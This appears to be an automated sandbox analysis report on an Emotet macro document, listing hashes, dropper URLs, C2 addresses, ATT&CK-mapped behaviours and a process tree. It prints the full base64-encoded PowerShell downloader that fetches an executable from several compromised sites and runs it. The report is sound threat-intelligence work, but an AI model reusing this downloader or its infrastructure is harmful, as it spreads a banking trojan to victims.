emotet | e59ec6676e7a2c3ff2e8f94054e4c53e536c93a4553db5da78557465333ac656

General

Target

emotet_e3_e59ec6676e7a2c3ff2e8f94054e4c53e536c93a4553db5da78557465333ac656_2020-07-29__022759._doc.doc
Size

169KB
MD5

432362003f691a87e5e295e47d4fb03e
SHA1

841c0066b7edbc801a361d1f1580826e8c9a763e
SHA256

e59ec6676e7a2c3ff2e8f94054e4c53e536c93a4553db5da78557465333ac656
SHA512

78e23a551633ae46637d191ace2fa10523590ea68f52b6e86edce5cf220b39a60df6cae2a463ec616ba5c9b963c298225e1a4f9adbd73e44d0c74ed37eb27403

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://mossfs.com.au/wp-content/fVrTuWOb/

exe.dropper

https://rtisistemas.com.br/jdetsob/Ov3a8106w4g7x17030547/

exe.dropper

http://slbqms.co.ls/cgi-bin/CHrsuXU/

exe.dropper

http://sertcom.net/_vti_bin/LiUoBmTHW/

exe.dropper

http://skpsoft.com/wp-admin/YnsFh/

Extracted

Family

emotet

C2

177.37.81.212:443

74.207.230.187:8080

190.164.75.175:80

87.252.100.28:80

105.209.239.55:80

163.172.107.70:8080

37.208.106.146:8080

24.157.25.203:80

212.112.113.235:80

140.207.113.106:443

75.139.38.211:80

192.210.217.94:8080

46.49.124.53:80

75.127.14.170:8080

87.106.231.60:8080

139.59.12.63:8080

181.167.35.84:80

201.214.108.231:80

74.208.173.91:8080

189.146.1.78:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
3820	49.exe
3820	49.exe
3408	KBDSMSNO.exe
3408	KBDSMSNO.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2584	WINWORD.EXE
2584	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3912	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3912	powersheLL.exe
3912	powersheLL.exe
3912	powersheLL.exe
3408	KBDSMSNO.exe
3408	KBDSMSNO.exe
3408	KBDSMSNO.exe
3408	KBDSMSNO.exe
3408	KBDSMSNO.exe
3408	KBDSMSNO.exe

Executes dropped EXE 2 IoCs

pid	Process
3820	49.exe
3408	KBDSMSNO.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\fdProxy\KBDSMSNO.exe	49.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3912	424	powersheLL.exe	66

Blacklisted process makes network request 1 IoCs

flow	pid	Process
23	3912	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 3408	3820	49.exe	78
PID 3820 wrote to memory of 3408	3820	49.exe	78
PID 3820 wrote to memory of 3408	3820	49.exe	78

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3820-10-0x00000000022A0000-0x00000000022AC000-memory.dmp	emotet
behavioral2/memory/3408-13-0x0000000002120000-0x000000000212C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e59ec6676e7a2c3ff2e8f94054e4c53e536c93a4553db5da78557465333ac656_2020-07-29__022759._doc.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Checks processor information in registry
PID:2584

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAFEAUABBAE8AYQBzAHIAPQAnAFkARABOAFIATQByAGoAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AFIAYABpAFQAWQBwAFIAYABPAFQATwBgAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABEAEIAQQBKAEcAawBtAGUAIAA9ACAAJwA0ADkAJwA7ACQATgBGAEQASQBNAGQAaABjAD0AJwBQAEEARQBIAFQAbABwAGMAJwA7ACQAVwBSAFkAUwBZAHMAeABpAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABEAEIAQQBKAEcAawBtAGUAKwAnAC4AZQB4AGUAJwA7ACQAVwBDAFkAQQBHAHkAeQBlAD0AJwBNAFAASgBaAEQAagBiAHIAJwA7ACQAWABLAEQAQQBLAGIAegBzAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABJAEUATgB0ADsAJABHAEQAVwBHAFUAZwBsAGQAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAG8AcwBzAGYAcwAuAGMAbwBtAC4AYQB1AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAVgByAFQAdQBXAE8AYgAvACoAaAB0AHQAcABzADoALwAvAHIAdABpAHMAaQBzAHQAZQBtAGEAcwAuAGMAbwBtAC4AYgByAC8AagBkAGUAdABzAG8AYgAvAE8AdgAzAGEAOAAxADAANgB3ADQAZwA3AHgAMQA3ADAAMwAwADUANAA3AC8AKgBoAHQAdABwADoALwAvAHMAbABiAHEAbQBzAC4AYwBvAC4AbABzAC8AYwBnAGkALQBiAGkAbgAvAEMASAByAHMAdQBYAFUALwAqAGgAdAB0AHAAOgAvAC8AcwBlAHIAdABjAG8AbQAuAG4AZQB0AC8AXwB2AHQAaQBfAGIAaQBuAC8ATABpAFUAbwBCAG0AVABIAFcALwAqAGgAdAB0AHAAOgAvAC8AcwBrAHAAcwBvAGYAdAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWQBuAHMARgBoAC8AJwAuACIAcwBwAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAEgARABXAEcAeQBtAGMAPQAnAFUAVgBVAEcAWABvAGgAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWQBHAE8AVQBYAG0AbgB0ACAAaQBuACAAJABHAEQAVwBHAFUAZwBsAGQAKQB7AHQAcgB5AHsAJABYAEsARABBAEsAYgB6AHMALgAiAGQAYABvAFcATgBsAG8AYABBAGAARABGAGkAbABlACIAKAAkAFkARwBPAFUAWABtAG4AdAAsACAAJABXAFIAWQBTAFkAcwB4AGkAKQA7ACQATQBOAFkARgBLAGgAbgB2AD0AJwBYAFAAVwBVAEYAYgBxAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABXAFIAWQBTAFkAcwB4AGkAKQAuACIATABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADUAOQA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQB0AGUAIgAoACQAVwBSAFkAUwBZAHMAeABpACkAOwAkAFoAVgBaAE8ARQBlAGUAaQA9ACcARwBSAFUAUwBYAGsAcABkACcAOwBiAHIAZQBhAGsAOwAkAFAAWABWAEoATABrAG8AbgA9ACcAWgBQAFMAUABEAHQAaQBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AWgBVAEEARwB5AHIAcAA9ACcAQwBXAFoASwBRAHgAdABlACcA
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Blacklisted process makes network request
PID:3912

C:\Users\Admin\49.exe
C:\Users\Admin\49.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Windows\SysWOW64\fdProxy\KBDSMSNO.exe
  "C:\Windows\SysWOW64\fdProxy\KBDSMSNO.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  PID:3408

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2584-3-0x000001F9E1C77000-0x000001F9E1C88000-memory.dmp

Filesize
68KB

Download
memory/3408-13-0x0000000002120000-0x000000000212C000-memory.dmp

Filesize
48KB

Download
memory/3820-10-0x00000000022A0000-0x00000000022AC000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads